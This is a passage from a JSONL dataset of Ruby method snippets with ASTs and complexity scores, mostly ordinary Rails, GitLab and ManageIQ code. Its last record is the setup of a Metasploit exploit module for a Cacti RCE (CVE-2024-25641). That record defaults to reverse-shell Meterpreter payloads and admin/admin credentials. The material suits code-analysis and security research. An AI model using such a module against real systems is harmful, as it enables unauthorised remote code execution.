:[\"streamed_reply\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LlmCreditAllocation\"]},\"CreditLimitExceeded\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"publish_error_update\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},null]}]}]}]}","id":"099b1dea-ffed-4034-9acf-1a4ffc92f6f1"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_nested_count_by.rb","start_line":14,"raw_source":"def nested_count_by(*fields)\n group(fields.flatten).count.each.with_object({}) { |v, h| h.store_path(*v.flatten) }\n end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"nested_count_by\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"fields\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"flatten\"]}]},\"count\"]},\"each\"]},\"with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]},{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"store_path\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"flatten\"]}]}]}]}]}","id":"a42d3dc0-dacb-4ff7-aa6f-ac793086eccc"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/ruby_version.rb","start_line":7,"raw_source":"def self.run(params)\n params = nil unless params.kind_of?(Array)\n value = (params || []).first\n defined_version = Gem::Version.new(value) if value\n\n UI.user_error!(\"Please pass minimum ruby version as parameter to ruby_version\") unless defined_version\n\n if Gem::Version.new(RUBY_VERSION) < defined_version\n error_message = \"The Fastfile requires a ruby version of >= #{defined_version}. You are on #{RUBY_VERSION}.\"\n UI.user_error!(error_message)\n end\n\n UI.message(\"Your ruby version #{RUBY_VERSION} matches the minimum requirement of #{defined_version} ✅\")\n end","complexity_score":18.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"array\",\"children\":[]}]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvasgn\",\"children\":[\"defined_version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defined_version\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Please pass minimum ruby version as parameter to ruby_version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"RUBY_VERSION\"]}]},\"<\",{\"type\":\"lvar\",\"children\":[\"defined_version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The Fastfile requires a ruby version of >= \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defined_version\"]}]},{\"type\":\"str\",\"children\":[\". You are on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RUBY_VERSION\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"lvar\",\"children\":[\"error_message\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Your ruby version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RUBY_VERSION\"]}]},{\"type\":\"str\",\"children\":[\" matches the minimum requirement of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defined_version\"]}]},{\"type\":\"str\",\"children\":[\" ✅\"]}]}]}]}]}","id":"16ddb2d1-6b34-4467-a417-a33dcfc5bdfe"} {"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/streaming.rb","start_line":74,"raw_source":"def stream_processor(parser, buffer, &block)\n proc do |chunk, _bytes, env|\n if env&.status == 200\n process_stream_chunk(chunk, parser, env, &block)\n else\n handle_failed_response(chunk, buffer, env)\n end\n end\n end","complexity_score":9.63,"ast_json":"{\"type\":\"def\",\"children\":[\"stream_processor\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parser\"]},{\"type\":\"arg\",\"children\":[\"buffer\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]},{\"type\":\"arg\",\"children\":[\"_bytes\"]},{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"status\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"process_stream_chunk\",{\"type\":\"lvar\",\"children\":[\"chunk\"]},{\"type\":\"lvar\",\"children\":[\"parser\"]},{\"type\":\"lvar\",\"children\":[\"env\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_failed_response\",{\"type\":\"lvar\",\"children\":[\"chunk\"]},{\"type\":\"lvar\",\"children\":[\"buffer\"]},{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}]}","id":"ad50b51e-b8dd-4ee4-acb0-db18ff87b2a4"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/inventory/persister/builder/container_manager.rb","start_line":217,"raw_source":"def persistent_volume_claims\n add_properties(\n :secondary_refs => {:by_container_project_and_name => %i[container_project name]},\n :attributes_blacklist => %i[namespace]\n )\n add_common_default_values\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"persistent_volume_claims\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_properties\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secondary_refs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"by_container_project_and_name\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_project\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes_blacklist\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_common_default_values\"]}]}]}","id":"3a8497e1-6156-4afc-890c-93f1acad95cc"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/schema_dumper_test.rb","start_line":230,"raw_source":"def test_schema_dumps_index_visibility\n index_definition = dump_table_schema(\"companies\").split(/\\n/).grep(/t\\.index.*company_disabled_index/).first.strip\n assert_equal 't.index [\"firm_id\", \"client_of\"], name: \"company_disabled_index\", enabled: false', index_definition\n end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dumps_index_visibility\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index_definition\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dump_table_schema\",{\"type\":\"str\",\"children\":[\"companies\"]}]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"grep\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.index.*company_disabled_index\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"first\"]},\"strip\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"t.index [\\\"firm_id\\\", \\\"client_of\\\"], name: \\\"company_disabled_index\\\", enabled: false\"]},{\"type\":\"lvar\",\"children\":[\"index_definition\"]}]}]}]}","id":"861a4c99-50ab-4e07-b9c3-df7646086cc2"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/tag.rb","start_line":62,"raw_source":"def self.parse(list)\n if list.kind_of?(Array)\n tag_names = list.collect { |tag| tag.try(:to_s) }\n tag_names.compact\n else\n tag_names = []\n\n # don't mangle the caller's copy\n list = list.dup\n\n # first, pull out the quoted tags\n list.gsub!(/\"(.*?)\"\\s*/) do\n tag_names << $1\n \"\"\n end\n\n # then, replace all commas with a space\n list.tr!(',', \" \")\n\n # then, get whatever's left\n tag_names.concat(list.split(/\\s/))\n\n # strip whitespace from the names\n tag_names = tag_names.map(&:strip)\n\n # delete any blank tag names\n tag_names = tag_names.delete_if(&:empty?)\n\n tag_names.uniq\n end\n end","complexity_score":28.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag_names\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"try\",{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_names\"]},\"compact\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag_names\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"dup\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"(.*?)\\\"\\\\s*\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_names\"]},\"<<\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"tr!\",{\"type\":\"str\",\"children\":[\",\"]},{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_names\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag_names\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_names\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag_names\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_names\"]},\"delete_if\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"empty?\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_names\"]},\"uniq\"]}]}]}]}","id":"d334967f-1781-433f-8920-c7da582fe817"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/api.rb","start_line":1204,"raw_source":"def job\n @job ||= Sidekiq::JobRecord.new(@hsh[\"payload\"])\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"job\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@job\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"JobRecord\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hsh\"]},\"[]\",{\"type\":\"str\",\"children\":[\"payload\"]}]}]}]}]}","id":"610ac647-cc8f-4a6d-84b0-0eccf8694c75"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/numeric_ext_test.rb","start_line":72,"raw_source":"def test_add_one_year_to_leap_day\n assert_equal Time.utc(2005, 2, 28, 15, 15, 10), Time.utc(2004, 2, 29, 15, 15, 10) + 1.year\n assert_equal DateTime.civil(2005, 2, 28, 15, 15, 10), DateTime.civil(2004, 2, 29, 15, 15, 10) + 1.year\n end","complexity_score":22.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_add_one_year_to_leap_day\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[28]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[29]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"year\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2005]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[28]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[29]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"year\"]}]}]}]}]}","id":"174cb6da-c6be-4148-9e49-3d7576a3013f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/project.rb","start_line":515,"raw_source":"def labels(auto_paginate: false, attempts: 0)\n return parse_body(api_get_from(api_labels_path)) unless auto_paginate\n\n auto_paginated_response(request_url(api_labels_path, per_page: '100'), attempts: attempts)\n end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"labels\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"auto_paginate\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"attempts\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auto_paginate\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_body\",{\"type\":\"send\",\"children\":[null,\"api_get_from\",{\"type\":\"send\",\"children\":[null,\"api_labels_path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"auto_paginated_response\",{\"type\":\"send\",\"children\":[null,\"request_url\",{\"type\":\"send\",\"children\":[null,\"api_labels_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"str\",\"children\":[\"100\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attempts\"]},{\"type\":\"lvar\",\"children\":[\"attempts\"]}]}]}]}]}]}","id":"bb028c7a-87c0-4cf9-b22c-6b905e895359"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/renders_assignees.rb","start_line":4,"raw_source":"def preload_assignees_for_render(merge_request)\n merge_request.project.team.max_member_access_for_user_ids(merge_request.assignees.map(&:id))\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"preload_assignees_for_render\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"project\"]},\"team\"]},\"max_member_access_for_user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"assignees\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"21a397bf-1d83-4b73-87df-866bf931b929"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support_specs/matchers/internal_events_matchers_spec.rb","start_line":650,"raw_source":"def perform(event, user_id, namespace_id)\n Gitlab::InternalEvents.track_event(\n event,\n user: User.find(user_id),\n namespace: Group.find(namespace_id)\n )\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"namespace_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"InternalEvents\"]},\"track_event\",{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"namespace_id\"]}]}]}]}]}]}","id":"f1eee7f0-476f-4217-bf33-dcc60a12b924"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/cacti_package_import_rce.rb","start_line":15,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Cacti Import Packages RCE',\n 'Description' => %q{\n This exploit module leverages an arbitrary file write vulnerability\n (CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. It\n abuses the `Import Packages` feature to upload a specially crafted\n package that embeds a PHP file. Cacti will extract this file to an\n accessible location. The module finally triggers the payload to execute\n arbitrary PHP code in the context of the user running the web server.\n\n Authentication is needed and the account must have access to the\n `Import Packages` feature. This is granted by setting the `Import\n Templates` permission in the `Template Editor` section.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'Egidio Romano', # Initial research and discovery\n 'Christophe De La Fuente' # Metasploit module\n ],\n 'References' => [\n [ 'URL', 'https://karmainsecurity.com/KIS-2024-04'],\n [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88'],\n [ 'CVE', '2024-25641']\n ],\n 'Platform' => ['unix linux win'],\n 'Privileged' => false,\n 'Arch' => [ARCH_PHP, ARCH_CMD],\n 'Targets' => [\n [\n 'PHP',\n {\n 'Arch' => ARCH_PHP,\n 'Platform' => 'php',\n 'Type' => :php,\n 'DefaultOptions' => {\n # Payload is not set automatically when selecting this target.\n # Select Meterpreter by default\n 'PAYLOAD' => 'php/meterpreter/reverse_tcp'\n }\n }\n ],\n [\n 'Linux Command',\n {\n 'Arch' => ARCH_CMD,\n 'Platform' => [ 'unix', 'linux' ],\n 'DefaultOptions' => {\n # Payload is not set automatically when selecting this target.\n # Select a x64 fetch payload by default.\n 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'\n }\n }\n ],\n [\n 'Windows Command',\n {\n 'Arch' => ARCH_CMD,\n 'Platform' => 'win',\n 'DefaultOptions' => {\n # Payload is not set automatically when selecting this target.\n # Select a x64 fetch payload by default.\n 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter_reverse_tcp'\n }\n }\n ]\n ],\n 'DisclosureDate' => '2024-05-12',\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\n }\n )\n )\n\n register_options(\n [\n OptString.new('USERNAME', [ true, 'User to login with', 'admin']),\n OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),\n OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])\n ]\n )\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Cacti Import Packages RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This exploit module leverages an arbitrary file write vulnerability\\n\"]},{\"type\":\"str\",\"children\":[\" (CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. It\\n\"]},{\"type\":\"str\",\"children\":[\" abuses the `Import Packages` feature to upload a specially crafted\\n\"]},{\"type\":\"str\",\"children\":[\" package that embeds a PHP file. Cacti will extract this file to an\\n\"]},{\"type\":\"str\",\"children\":[\" accessible location. The module finally triggers the payload to execute\\n\"]},{\"type\":\"str\",\"children\":[\" arbitrary PHP code in the context of the user running the web server.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Authentication is needed and the account must have access to the\\n\"]},{\"type\":\"str\",\"children\":[\" `Import Packages` feature. This is granted by setting the `Import\\n\"]},{\"type\":\"str\",\"children\":[\" Templates` permission in the `Template Editor` section.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Egidio Romano\"]},{\"type\":\"str\",\"children\":[\"Christophe De La Fuente\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://karmainsecurity.com/KIS-2024-04\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2024-25641\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix linux win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PHP\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"php/meterpreter/reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/linux/http/x64/meterpreter_reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 